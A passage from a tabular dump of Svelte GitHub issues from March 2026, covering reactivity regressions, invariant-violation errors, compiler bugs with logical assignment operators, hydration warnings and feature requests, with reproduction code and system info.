import { getKeyState } from '$lib/i18n/index.svelte';
let t = getKeyState.t;
</script>

<h3>{t(""header"")}</h3>
```

When I change the language via `setLocale`, my component doesn't update despite being defined as `$state(...)`. Why is that and how to make it update?

Using `$derived` doesn't do anything either.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 25.10 25.10 (Questing Quokka)
    CPU: (16) x64 AMD Ryzen 7 5800X 8-Core Processor
    Memory: 7.78 GB / 31.27 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 24.7.0 - /home/aliser/.nvm/vers... [TRUNCATED]",,2026-03-20T20:57:45Z,2026-03-20T21:12:35Z,0
sveltejs/svelte,4106017910,Hydration mismatch when styling child components,"### Describe the bug

Hello.

After an upgrade from svelte@5.53.0 to 5.54.0, sveltekit logs hydration mismathc warnings when styling child components with CSS custom properties

`<Child --color=""rebeccapurple"" />`

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.54.0#H4sIAAAAAAAAA3VQzU7DMAx-lcgnkLZVu4YyCe2ydyAcstSlkdIkSrxBVfXdcUKFNgSn2J_t7yczeD0iSDhNXdJkgxejzaMmMwiuzWBdJ0wYY_DoSWSanPXvsIHeOswgX2egKRaCAjC-0r3EuMtXdFSws874F26CJ2ZlGmizSTbSQXlFltUSiWPV7lMYhYJdU9v1VoHybfNz0n6vbrcmuJCeFSQ8ozE6XlJ0vCwaXmI9wk8CSemCy-Yf37cq985_TW69D_vDCZ0LbcMVJ_Bt-SesYYa9mMurqJqT4qrTw-r08alMlpqlHtx7fONOW_dhfQey1y7j8gUHSckLrwEAAA) (needs to be set up locally, REPL does not log the warning)

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.11 Ubuntu 24.10 24.10 (Oracular Oriole)
    CPU: (12) x64 AMD Ryzen 5 3600 6-Core Processor
    Memory: 6.48 GB / 15.06 GB
    Container: Yes
    Shell: 3.7.1 - /usr/bin/fish
  Binaries:
    Node: 22.14.0 - /usr/bin/node
    npm: 11.7.0 - /usr/bin/npm
    pnpm: 10.27.0 - /home/guillaume/.local/share/pnpm/pnpm
    bun: 1.3.11 - /home/guillaume/.bun/bin/bun
  Browsers:
    Chromium: 145.0.7632.116
    Firefox: 148.0
    Firefox Developer Edition: 148.0
```

### Severity

blocking an upgrade",,2026-03-20T06:09:16Z,2026-03-20T21:23:59Z,2
sveltejs/svelte,4101452417,`a11y_click_events_have_key_events` warning won't be displayed if the onclick handler is provided using spread syntax.,"### Describe the bug

a11y_click_events_have_key_events won't be fired if the onclick handler is provided using spread syntax. 

### Reproduction

```svelte
<div class=""max-w-sm w-full lg:max-w-full lg:flex"" onclick={() => alert('cliked')}>
  <div class=""border-r border-b border-l border-gray-400 lg:border-l-0 lg:border-t lg:border-gray-400 bg-white rounded-b lg:rounded-b-none lg:rounded-r p-4 flex flex-col justify-between leading-normal"">
    <div class=""mb-8"">
      <div class=""text-gray-900 font-bold text-xl mb-2"">Clicke Me</div>
    </div>
  </div>
</div>

<br />

<div class=""max-w-sm w-full lg:max-w-full lg:flex"" {...{onclick: () => alert('cliked')}}>
  <div class=""border-r border-b border-l border-gray-400 lg:border-l-0 lg:border-t lg:border-gray-400 bg-white rounded-b lg:rounded-b-none lg:rounded-r p-4 flex flex-col justify-between leading-normal"">
    <div class=""mb-8"">
      <div class=""text-gray-900 font-bold text-xl mb-2"">Clicke Me</div>
    </div>
  </div>
</div>
```
[playground link](https://svelte.dev/playground/hello-world?version=5.54.0#H4sIAAAAAAAACu2RwW7CMAyGX8XyBZCagiYOWwVI0y677AnWHZLGZRlugpJAQRXvPrXQiiFOk3bbJfn823Hi_A1aWRFm-ErMDmrnWcOYtImkJ5hgaZgCZu8NxuO2rWsFTPpTz9ttGvbEsdWUDHRPL5yNZGPADBfa7KFgGcIyx0oeRC1CBbUod8zA6-ws9VHJdMgRnC3YFJtlM57AcgWSycfxqGCzIT2anFa5BfjRWDmvyQsPF1A9cA9rL49iPpu1t_Q5cR3FKx6K1VrUnyYSeLezmrRQbdUQCOssXSsetmIO7RTdIgrH8LUL0ZRHoSjWRBaYpDZ2LazzleQcu2lu5qmUeBwyN7lIh3h-4dNsBqWzUSjHGjr9wFAp8ZDj6qX9QYI3Wky12feXDNxTv-d2oTxMz_Qbz5o0TZuLcRncN-7fuT9... [TRUNCATED]",,2026-03-19T12:46:29Z,2026-03-19T13:24:20Z,1
sveltejs/svelte,4096177693,"Uncaught Svelte error: invariant_violation ""Batch has scheduled roots""","### Describe the bug

received this error when navigating between routes in sveltekit, i have both async and remote functions enabled and used on both pages.

it appears to be in a loop as i hade several hundred of these errors and they kept printing until i i stopped them.

### Reproduction

limited here, its a closed source project thats about 150k loc and the error happened navigating between 2 of the more complex pages. 

### Logs

```shell
chunk-KZ3AKWPY.js?v=ce61594d:184 Uncaught Svelte error: invariant_violation
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation
    at invariant_violation (chunk-KZ3AKWPY.js?v=ce61594d:184:19)
    at invariant (chunk-KZ3AKWPY.js?v=ce61594d:1105:19)
    at _Batch.commit_fn (chunk-KZ3AKWPY.js?v=ce61594d:2935:9)
    at _Batch.process_fn (chunk-KZ3AKWPY.js?v=ce61594d:2860:56)
    at _Batch.flush (chunk-KZ3AKWPY.js?v=ce61594d:2631:59)
    at Array.<anonymous> (chunk-KZ3AKWPY.js?v=ce61594d:2714:19)
    at run_all (chunk-KZ3AKWPY.js?v=ce61594d:50:11)
    at run_micro_tasks (chunk-KZ3AKWPY.js?v=ce61594d:726:3)
    at chunk-KZ3AKWPY.js?v=ce61594d:732:34
```

### System Info

```shell
System:
    OS: Linux 6.6 Ubuntu 22.04.5 LTS 22.04.5 LTS (Jammy Jellyfish)
    CPU: (32) x64 13th Gen Intel(R) Core(TM) i9-13900
    Mem... [TRUNCATED]",,2026-03-18T16:04:59Z,2026-03-18T16:08:34Z,1
sveltejs/svelte,4093483197,untrack does not work when using `{@attach}`,"### Describe the bug

If I have an html component and want to run some `{@attach}` script that does something different when it is mounted vs on update, then I am a bit out of luck.

```
<script>
    import { untrack } from ""svelte""
    let count = $state(0);
</script>

<button onclick={() => count += 1}>
    clicks: {count}
</button>

<div
    {@attach div => {
        let firstRun = $state(true);
        $effect(() => {
            if (firstRun) {
                console.log(""first"")
                untrack(() => firstRun = false);
                return;
            }
            console.log(""not first"")
            div.innerText = count * 2;
        })
    }}>
    
</div>
```

sure I can run some code before the `$effect` call that will only run on mount, but the issue is that the `$effect` is also run on mount, and there is no way around that.

Best solution would be to not have to bother with wrapping `firstRun` in a state, but that breaks the `$effect` function completely as it never gets out of the if statement (doesn't seem to recognize the change).
But if I have to wrap `firstRun` in a state, then updating it with `untrack` shouldn't cause the `$effect` to rerun

### Reproduction

https://svelte.dev/playground/c559dbba749047fd843327f7605f1457?version=5.54.0

### Logs

```shell

```

### System Info

```shell
on the svelte repl, version 5.54.0 and in brave
```

### Severity

annoyance",,2026-03-18T08:12:20Z,2026-03-18T08:40:42Z,1
sveltejs/svelte,4093474860,css.js  throw  Cannot read properties of null (reading 'querySelector'),"### Describe the bug

`my component <Button> as below:
<button>.... 
</button>

<style>

.el-button--primary.is-text {
    color: var(--el-button-text-color);
}

</style>
In some cases   throw  Cannot read properties of null (reading 'querySelector')

src\internal\client\dom\css.js
export function append_styles(anchor, css) {
line 21:  if (!target.querySelector('#' + css.hash)) {
         //add target&&
         if (target&&!target.querySelector('#' + css.hash)) {`

### Reproduction

Uncaught TypeError: Cannot read properties of null (reading 'querySelector')

	in <unknown>
	in Button.svelte
	in Popper.svelte
	in App.svelte
	in Router.svelte
	in Col.svelte
	in Row.svelte
	in App.svelte
	in undefined

### Logs

```shell

```

### System Info

```shell
svelte, webpack --binaries
```

### Severity

annoyance","awaiting submitter,css",2026-03-18T08:10:34Z,2026-05-02T01:13:17Z,1
sveltejs/svelte,4092920897,docs: make `createContext` the recommended method,"### Describe the problem

Best practices now advises `createContext`:

> Use `createContext` rather than `setContext` and `getContext`, as it provides type safety.
>
> https://svelte.dev/docs/svelte/best-practices#Context

But it is still described 'an alternative' in the context docs:

> As an alternative to using `setContext` and `getContext` directly, you can use them via `createContext`.
>
> https://svelte.dev/docs/svelte/context#Type-safe-context

### Describe the proposed solution

Use `createContext` in the top-placed default example

### Importance

nice to have",documentation,2026-03-18T05:52:31Z,2026-03-23T13:52:09Z,1
sveltejs/svelte,4087887152,`$inspect` reads value as undefined during navigation,"### Describe the bug

When using `$inspect()` over a `$derived()` (that depends on data from `$props()`), the `$inspect()` will trigger after the navigation away has been initialized, and the data inside `$props()` is now _all_ undefined. As a result, the `$inspect()` throws.

I am a little unsure if this is a Svelte or SvelteKit bug, but I assume the same would be true when using another framework, therefore submitting as a Svelte bug.

### Reproduction

https://www.sveltelab.dev/?provider=github&owner=Tinggaard&repo=inspect-undefined-during-navigation

Essentially, having a `+page.svelte` file that recieves some data, and passes it down to a child.

```svelte
<script lang=""ts"">
  import { resolve } from ""$app/paths"";
  import Component from ""$lib/Component.svelte"";

  let { data } = $props();
  let { ids } = $derived(data);
</script>

<Component {ids} />

<a href={resolve(""/[id]"", { id: `foobar` })}> Navigate! </a>
```

And then the component 
```svelte
<script lang=""ts"">
  type NumArr = [number, ...number[]];

  let { ids }: { ids: NumArr } = $props();

  // BUG: this line throws during navigation
  const getFirstId = (arr: NumArr) => arr[0];

  // this line is ok
  const firstId = $derived(getFirstId(ids));
  // but this line triggers the above after `ids` is undefined (somehow)
  $inspect(firstId);
</script>
```

### Logs

```shell
TypeError: can't access property 0, arr is undefined
```

### System Info

```shell
System:
    OS: Linux 6.19 Fedora Linux 43 (Workstation E... [TRUNCATED]",,2026-03-17T11:18:00Z,2026-03-19T11:04:15Z,2
sveltejs/svelte,4087525659,svelte:boundary only renders pending snippet initially,"### Describe the bug

If a component inside a boundary is re-rendered (using a key or each), the pending block is not shown.
I would expect the pending snippet to show whenever a component inside a boundary is awaiting

```
<svelte:boundary>
	{#snippet pending()}
	pending
	{/snippet}
	
	{#key key}
	<AsyncComponent {key}/>
	{/key}
</svelte:boundary>
```

### Reproduction

https://svelte.dev/playground/98c502cb62134719846b10d68be7134e?version=latest

### Logs

```shell

```

### System Info

```shell
Svelte 5.53.12
```

### Severity

annoyance",,2026-03-17T10:12:41Z,2026-03-17T12:41:41Z,2
sveltejs/svelte,4083402153,Svelte error: `invariant_violation` - Batch has scheduled roots,"### Describe the bug

```
5:03:15 PM [vite] (client) [Unhandled error] Svelte error: invariant_violation
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation
 > invariant_violation ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/shared/errors.js:61:16
 > invariant ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/shared/dev.js:78:17
 > #commit ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/reactivity/batch.js:477:5
 > #process ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/reactivity/batch.js:318:3
 > Batch.flush ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/reactivity/batch.js:417:3
 > Array.<anonymous> ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/reactivity/batch.js:579:12
 > run_all ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/shared/utils.js:47:6
 > run_micro_tasks ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/dom/task.js:10:1
 > ../node_modules/.pnpm/svelte@5.53.12/node_modules/svelte/src/internal/client/dom/task.js:28:30
 (x26)
```

### Reproduction

-

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15... [TRUNCATED]",,2026-03-16T16:06:47Z,2026-03-16T16:41:35Z,2
sveltejs/svelte,4083381682,"Error message ""Batch has scheduled roots""","### Describe the bug

Hello,
after upgrading to the latest version I get this error message when I try to render an {#each} loop where the array comes from a derived.by.


### Reproduction

I was able to create a minimal reproduction by stripping down my project step by step.

The resulting repository can be found here:
https://github.com/JoBurgard/svelte-repro-batch-has-scheduled-roots/

### Logs

```shell
Uncaught Svelte error: invariant_violation
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation

  in <unknown>
  in undefined
  in undefined
    invariant_violation http://localhost:3000/public/dist/bundle/extractor-view.js:129
    invariant http://localhost:3000/public/dist/bundle/extractor-view.js:677
    #commit http://localhost:3000/public/dist/bundle/extractor-view.js:1160
    #process http://localhost:3000/public/dist/bundle/extractor-view.js:1053
    flush http://localhost:3000/public/dist/bundle/extractor-view.js:1118
    ensure http://localhost:3000/public/dist/bundle/extractor-view.js:1225
    run_all http://localhost:3000/public/dist/bundle/extractor-view.js:59
    run_micro_tasks http://localhost:3000/public/dist/bundle/extractor-view.js:787
    flush_tasks http://localhost:3000/public/dist/bundle/extractor-view.js:801
    flushSync h... [TRUNCATED]",,2026-03-16T16:03:15Z,2026-06-01T20:51:07Z,24
sveltejs/svelte,4076193335,`#each` block is not reactive to changes caused by Components rendered within,"### Describe the bug

Let's say we have a `Parent` component and a `Child` component.

```svelte
<!-- ""Parent"" -->
<script>
	import Component from ""./Component.svelte""
	
	const list = $state([{}])
</script>

<p>{list.length}</p>

{#each list as item}
	<Component {list} />
{/each}
```

```svelte
<!--""Child"" -->
<script lang=""ts"">
	const { list, idx } = $props()

	if (list.length === 1) {
		list.push({})
	}
</script>

<p>Component</p>
```

In the example above, the Child Component is rendered by the Parent Component once. This adds a new entry to `list`, which should render a second Child Component.

❗ However only the `length` markup is updated, and not the `#each` block.

```svelte
<p>{list.length}</p> <!-- ✅ Updated as expected -->

{#each list as item}  <!-- ❌ Not updated, reactivity broken -->
	<Component {list} />
{/each}
```

<img width=""131"" height=""136"" alt=""Image"" src=""https://github.com/user-attachments/assets/9983811d-eb02-4dbd-8c32-452763c1086c"" />

---

## Expectation

⚠️ This renders an inconsistent state, this should not happen.

It was my belief that Svelte handles all state changes, even if recursive, and ""runs until settled"". However this seems broken in this example.

---

## Working Alternatives

✅ When performing the state change (`if (...) { list.push(...) }`) from inside `$effect` or `onMount` it works as expected.
❌ However from the bare script (as above) or a `$effect.pre`, both don't update the `#each` block, only the `length` markup

---

### Reprodu... [TRUNCATED]",,2026-03-14T16:34:19Z,2026-03-14T16:40:06Z,2
sveltejs/svelte,4070527650,`{#match variable}` in template syntax,"### Describe the problem

I use enum very frequently in my project, so I hope there's a `{#match}` in the template instead of using multiple `{#if}` and `{:else if}`.

Assume we have a enum:

```ts
enum Foo { A, B, C }
```

The template would be like this:

```svelte
{#if x == Foo.A}
    Lorem Ipsum
{:else if x == Foo.B}
    Quick Brown Fox
{:else if x == Foo.C}
    I can eat glass.
{:else}
    The Default Case
{/if}
```

As you can see, `x ==` is repeated in every branch, and the number of characters in `{#if` and `{:else if` are different, which looks ugly as they're not aligned.

### Describe the proposed solution

```svelte
{#match x}
    The Default Case
{:case Foo.A}
    Lorem Ipsum
{:case Foo.B}
    Quick Brown Fox
{:case Foo.C}
    I can eat glass.
{/match}
```

We can type less if we had this syntax, and every case is beautifully aligned.
The LSP could also suggest an AST transformation that adds all the missing cases for an enum.
If possible, we can even pattern match on tuples.

But there must be someone hates putting the default case to the top. That's because it prevents the markup from being indented twice as in Python and other common style for C-like languages. So we could have syntax like this if double indent is acceptable:

```svelte
{#match x}
    {:case Foo.A}
        Lorem Ipsum
    {:case Foo.B}
        Quick Brown Fox
    {:case Foo.C}
        I can eat glass.
    {:default}
        The Default Case
    {/default}
{/match}
```

But this syntax also int... [TRUNCATED]",,2026-03-13T11:30:16Z,2026-03-13T12:18:23Z,1
sveltejs/svelte,4068798982,Can't compile await in RHS of ??= or ||=,"### Describe the bug

The fix in #17906 resulted in a regression where `const value = cache.value ??= await get_value()` no longer compiles successfully.

### Reproduction

5.53.10 can compile even if behavior is buggy: https://svelte.dev/playground/hello-world?version=5.53.10#H4sIAAAAAAAACm2Q0WqEMBBFfyUMfXBZWVvpk6su_Y5aSjYdbWg6CWbc7RLy70WtlQXfMucM94YJQPIboQBIodUGPRSvAfjmRjYCSJeNF-cO_oKGR3aWHre4ssRI7KGA0qteO64batggC2UH4idRiQfPkjF53B3vVL6tpPrE1YQ4KWpY-hsp0Q6kWFsSnU12Ioyi4blpvz8uI3kWF2mGMWgKPMzT6VQJeZWaRYf8PrFkro7bJevWXVf-39UjDz2J53xJKbP1DFSeB2ZLwpIyWn1VobOx7myZzbxuqHT1_PtChPkR07_zLCSPZeZqSIHxh6HgfsD4lgJLba6aPqBopfEYfwE5h7_C2gEAAA

5.53.11 can't compile: https://svelte.dev/playground/hello-world?version=5.53.11#H4sIAAAAAAAACm2Q0WqEMBBFfyUMfXBZWVvpk6su_Y5aSjYdbWg6CWbc7RLy70WtlQXfMucM94YJQPIboQBIodUGPRSvAfjmRjYCSJeNF-cO_oKGR3aWHre4ssRI7KGA0qteO64batggC2UH4idRiQfPkjF53B3vVL6tpPrE1YQ4KWpY-hsp0Q6kWFsSnU12Ioyi4blpvz8uI3kWF2mGMWgKPMzT6VQJeZWaRYf8PrFkro7bJevWXVf-39UjDz2J53xJKbP1DFSeB2ZLwpIyWn1VobOx7myZzbxuqHT1_PtChPkR07_zLCSPZeZqSIHxh6HgfsD4lgJLba6aPqBopfEYfwE5h7_C2gEAAA

```svelte
<script>
	let count1 = $state(0);
	let count2 = $state(0);
	let cache = $state({});

	async function go() {
		count1++;
		const value = cache.value ??= await get_value();
	}

	async function get_value() {
		count2++;
		return 42;
	}
</script>

<button onclick={go}>go</button>
<p>count1: {count1}, count2: {count2}</p>
```

This example is based on https://github.com/sveltejs/svelte/pull/17906/changes#diff-cf5... [TRUNCATED]","bug,compiler",2026-03-13T04:38:48Z,2026-03-13T18:38:38Z,0
sveltejs/svelte,4066949400,issue between both threlte versions and svelte versions,"### Describe the bug

Hey guys,

Looking for some help narrowing down an issue.

To begin with I've created a repo for folks to work with: https://github.com/DefinitelyMaybe/threlte-issue

The repo starts at `@threlte/core` version 8.3.1 and `svelte` version `5.53.7`, which creates the expected outcome of the code.

Different issues arise as we change versions. So keeping svelte as in but using threlte 8.4.1, suddenly the symbols in the middle disappear but the shapes are still there and behaving as expected. If we keep threlte at version 8.3.1 and use svelte 5.53.8 then the middle symbols are there but don't move anymore and neither do the shapes. The not moving problem is resolved by svelte 5.53.10+ and works as expected.

our mono-repo and packages are all built with the same version of svelte, `5.26.2`, which is why this [only just came up](https://github.com/threlte/threlte/issues/1697) from a member of our community.

### Reproduction

https://github.com/DefinitelyMaybe/threlte-issue

### Logs

```shell

```

### System Info

```shell
browers
```

### Severity

annoyance",,2026-03-12T20:05:46Z,2026-03-12T22:58:01Z,5
sveltejs/svelte,4066332297,Website becomes unresponsive after initial render after `5.53.7`,"### Describe the bug

I'm opening this issue based on the comment in https://github.com/sveltejs/svelte/issues/17907#issuecomment-4046751528

Basically, after updating from `5.53.7` to any of the newer versions, my entire application becomes unresponsive.

Its really hard to pinpoint what is causing the issue, as there is no error being thrown, the page just loads (partially), and all selects or navigation buttons don't do anything.

I understand a GH issue without reproduction is not very useful, but as it looks like I'm not the only one running into this, I would like to post one anyways to gather information about it so we can hopefully make a reproduction possible.

Just for context, my stack includes: bits-ui (shadcn-svelte) with version `2.16.3`, svelte as mentioned with async flag and a sveltekit `2.53.4` app with remote functions but no forking. SSR is disabled for the whole app.

### Severity

blocking all usage of svelte",,2026-03-12T18:01:24Z,2026-03-17T13:52:08Z,16
sveltejs/svelte,4064547508,Content of `#if` block is evaluated before the condition when combined with transition,"### Describe the bug

Since svelte version [`5.53.7`](https://github.com/sveltejs/svelte/releases/tag/svelte%405.53.7), the content of the `#if` block is evaluated before the condition of the `#if` block, so you can't rely on it to catch undefined values for example.

In previous versions (`5.53.6` and lower), i could rely on the fact that inside of the outer `#if` block, `value` is always an array.

```svelte
<script lang=""ts"">
	import {slide} from 'svelte/transition';

	let value: {current: number}[] | undefined = $state([{current: 1}]);
</script>

<button
	onclick={() => {
		if (value) {
			value = undefined;
		} else {
			value = [{current: 1}];
		}
	}}
>
	toggle
</button>

{#if value?.length}
	<div transition:slide>
		{#if value[0]?.current}
			x
		{/if}
	</div>
{/if}
```

### Reproduction

https://svelte.dev/playground/042eda8e56f2493faa3cc5ffc78dac85?version=5.53.7

1. Turn off async mode
2. Click on toggle
3. Error is produced in console and everything breaks

When you remove the transition, it works fine.
In versions `5.53.6` and lower, it works even with the transition.


### Logs

```text
TypeError
TypeError: Cannot read properties of undefined (reading '0')
    at eval (playground:output:5644:22)
    at eval (playground:output:5165:4)
    at update_reaction (playground:output:3910:17)
    at update_effect (playground:output:4112:19)
    at #traverse_effect_tree (playground:output:1091:7)
    at Batch.process (playground:output:1022:31)
    at flush_effects (playgr... [TRUNCATED]",,2026-03-12T13:09:03Z,2026-03-12T13:36:22Z,2
sveltejs/svelte,4063597435,Unexpected {#if .. } behavior,"### Describe the bug

I encountered an unexpected error in my production repo. I created a minimal repro on the svelte playground linked below.

Basically in the repro this throws an error:
```svelte
{#if task.question}
  {@const question = $state.snapshot(task.question)}
    <div>{question.responseOptions?.join("", "")}</div>
{/if}
```

`can't access property ""responseOptions"", get(...) is null in <unknown> in App.svelte in __wrapper.svelte in undefined`

while this doesn't

```svelte
{#if task.question}
  {@const question = $state.snapshot(task.question)}
	{#if question}
    <div>{question.responseOptions?.join("", "")}</div>
	{/if}
{/if}
```

I have typescript set to strict and it doesn't catch this and expects `question` to not be undefined.

If this somehow is expected behavior I would love an explanation, but really i think the second `{#if}` should not be necessary here.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.53.10#H4sIAAAAAAAAE3VSwVLCMBD9lTV6KDNMuYeC-gM6enMohwBbiMY0bbaoU_PvJm1KR8RLmr59ee9lNy3T4h0ZZ1WDlmSpxUYhtNeyAAcbPIijLGs2ZYVUaBlftYy-TOAHwOPx9L0xqT2iooBthMVL-LbUhJq8DMvstpaGQAm9X-SMbM6WuQYI4vAUo8AC2gAC1GhNqS0-moDbWw6Waqn3q_W8J-ywEI2i58g7Ebqy82v4KiSo-Cj_DbpR6l8XDqucvaCPNoWcPZQ5W08vunGIvHOzQknj5QuhLEbY98ASkLBvo-8-5IqhksnfgJEG4IeSXAXRyYjB4EJ1g_MRrZGaWkN1gtywiZUgHYtuCJ7N-rksQ9juEYSk6RCu47V3_R2qcUo3lgRharUw9lBS8uvQJBpnO3lctgOano80fS2lTvpeT1w2C-wuxUwWzj8ewk9iPFzSrf2fkOpD6h3jXXPdD3p_UBbHAgAA

### Logs

```shell
`can't access property ""responseOpt... [TRUNCATED]",,2026-03-12T10:15:54Z,2026-03-12T10:35:10Z,3
sveltejs/svelte,4090852407,Merge `vite-plugin-svelte` options,"- [Remote function documentation](https://svelte.dev/docs/kit/remote-functions) uses `kit` and `compilerOptions` keys
- New template uses the `vitePlugin` key

This is the merged result:

```js
/** @type {import('@sveltejs/kit').Config} */
const config = {
  kit: {
    experimental: { remoteFunctions: true },
    adapter: adapter(),
  },
  compilerOptions: {
    experimental: { async: true },
  },
  vitePlugin: {
    dynamicCompileOptions: ({ filename }) => ({ runes: !filename.includes('node_modules') }),
  },
};
```

Could the `dynamicCompileOptions` be moved into `compilerOptions` since it is related to runes only?

Or the other way around and update the documentation:

```js
/** @type {import('@sveltejs/kit').Config} */
const config = {
  kit: { adapter: adapter() },
  vitePlugin: {
    experimental: { async: true, remoteFunctions: true }, // add experimental flags here
    dynamicCompileOptions: ({ filename }) => ({ runes: !filename.includes('node_modules') }),
  },
};
```
",,2026-03-12T03:08:13Z,2026-03-17T20:11:34Z,3
sveltejs/svelte,4061255534,bind:value on plain <input> with $state stops updating template (regression in 5.53.7+),"### Describe the bug

`$state` reactivity is completely broken when used with `bind:value` on a plain `<input>`. The bound variable updates in JavaScript (verified via `console.log`), but the template never re-renders.

**Works in:** 5.53.6  
**Broken in:** 5.53.7+ (likely #17805 ""simplify scheduling logic"" or #17837)

We verified this in CI: pinning `svelte@5.53.6` makes our E2E tests pass. Bumping to `5.53.10` breaks them. Same code, same CI environment, only difference is the Svelte version.

### Reproduction

The simplest possible Svelte 5 code fails:

```svelte
<script lang=""ts"">
  let value = $state('');
</script>

<h1>Debug Test</h1>
<input type=""text"" bind:value />
<p>Value: ""{value}""</p>
```

**Expected:** Typing in the input updates the `<p>` tag in real time.  
**Actual:** The `<p>` tag stays as `Value: """"` permanently. The input accepts typing (DOM updates), but the template never re-renders.

### What we tested

We progressively simplified to isolate the issue:

1. **Started with:** shadcn-svelte `<Input>` wrapper (`$bindable()` + `bind:value` + `{...restProps}`) with `oninput` handler → broken
2. **Removed wrapper:** Plain `<input>` with `value={state}` + `oninput` handler → broken
3. **Removed `oninput`:** Plain `<input>` with just `bind:value={state}` → broken
4. **Removed controller:** Local `$state('')` in the component → broken
5. **Isolated page:** Fresh route with nothing but the 6-line reproduction above → broken

At each step, `console.log` confirms the... [TRUNCATED]",,2026-03-11T23:36:40Z,2026-03-12T13:28:44Z,9
sveltejs/svelte,4055538504,||= evaluates RHS when LHS is truthy in Svelte (but not in vanilla JS),"### Describe the bug

||= evaluates the right-hand-side when the left-hand-side is truthy in Svelte. This is incorrect behavior, which does not occur in vanilla JavaScript.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.53.10#H4sIAAAAAAAACnWRwW7CMBBEf2W1F4MUNfeIIFWVKnHpDxAOxtkUC2cd2RsoCvn3ygpQWujFh-eZ1czugKxbwgIxw8Y6ilisB5RTl1gCmF0Vr133Eg_kJLGtjvSMG89CLBELXEQTbCfLiitpejZiPUPtj-y8rt-to1kf3ByG9F9JnsOqAdnZCA_iCBpSFmiCb0F2BJHCgUJ2s1q5E7e9E9s5ArEtRdBcQ6OtiyAejDY7mmzGc_SOXpz_nKmrW2WQUk2KQNIHBnUppRId05OsMs2CEobxacVV80FUUz27dZxsaW1QgtrTSd3z1PDtsj4op-nrJN7A-Vz-3pzqg1Pzxx73M-a3uI-J_qOL_OdovNj2Ip7Bs3HW7Mvhr2NcCkVZ5JNuWTFmKPQlWEjoadxkKNq6o-Uai0a7SOM3ExrJRm8CAAA

```svelte
<script>
	function downloadFile(url) {
		// If this function downloads a file from the server,
		// it downloads multiple times and fails to cache
		console.log('download', url)
		return 'content'
	}
	const cache = {}
	function downloadIfNeeded() {
		const name = 'key'
		const fileContents = cache[name] ||= downloadFile('url')
		console.log(fileContents)
	}
	downloadIfNeeded()
	downloadIfNeeded()
</script>

<button onclick={downloadIfNeeded}>test</button>
```

### Logs

This is the initial output in Svelte. Clicking the button logs both the ""download url"" and ""content"" entries.

```
download url
content
download url
content
```

If you run the `<script>` body in a vanilla JS console, the output is as expected:

```
download url
content
content
```

Interestingly, splitting the statement into two ... [TRUNCATED]","bug,compiler",2026-03-11T03:46:06Z,2026-03-11T17:48:43Z,3
sveltejs/svelte,4053919052,Bug: Circular chunk dependency warning (untrack / tick) in Svelte 5.53.9 during Vite build,"### Describe the bug

After updating to Svelte `5.53.9` and SvelteKit `2.53.4`, running a production build (`vite build`) produces Rollup circular dependency warnings regarding `untrack` and `tick` being re-exported through `index-client.js`.

This occurs with a vanilla Vite configuration (no custom `rollupOptions` or manual chunking enabled). It appears to be a regression or continuation of the recently closed issue **#15973**, but specifically affecting these client-side exports.

**Temporary Workaround Used:**
For now, I had to bypass the warning and ensure stable execution order by manually pinning the internal Svelte modules into a single chunk via `vite.config.js`:
`manualChunks: (id) => { if (id.includes('svelte/src/internal')) return 'svelte-internal'; }`

### Reproduction

I do not have a minimal reproduction repo at the moment, but this triggers on a standard Vite build without any custom chunking configuration. 

Here is the active `vite.config.js` being used when the warning occurs:

```javascript
import { sveltekit } from ""@sveltejs/kit/vite""
import { defineConfig } from ""vite""

export default defineConfig({
    plugins: [
        sveltekit(),
    ],
    build: {
        target: [""chrome112"", ""edge112"", ""safari17""], 
    },
    resolve: {
        alias: {
            $log: ""/src/lib/utils/log/log-enabled.js""
        },
    }
})

### Logs

```shell
Export ""untrack"" of module ""node_modules/svelte/src/internal/client/runtime.js"" was reexported through module ""node_m... [TRUNCATED]",,2026-03-10T19:56:02Z,2026-03-12T10:17:57Z,2
sveltejs/svelte,4053714240,[Bug]: Circular dependency warnings in runtime.js / index-client.js and runtime.js (v5.53.9),"### Describe the bug

When building a SvelteKit app on 5.53.9, Rollup throws warnings complaining that untrack and tick are re-exported between runtime.js and index-client.js, warning about broken execution order.

This looks very similar to #15973


### Reproduction

The warning in the logs is quite precise. Let me know if a repro is really needed.

### Logs

```shell
> vite build

vite v6.4.1 building SSR bundle for production...
✓ 334 modules transformed.
vite v6.4.1 building for production...
✓ 302 modules transformed.
Export ""untrack"" of module ""node_modules/svelte/src/internal/client/runtime.js"" was reexported through module ""node_modules/svelte/src/index-client.js"" while both modules are dependencies of each other and will end up in different chunks by current Rollup settings. This scenario is not well supported at the moment as it will produce a circular dependency between chunks and will likely lead to broken execution order.
Either change the import in ""node_modules/svelte/src/store/utils.js"" to point directly to the exporting module or reconfigure ""output.manualChunks"" to ensure these modules end up in the same chunk.
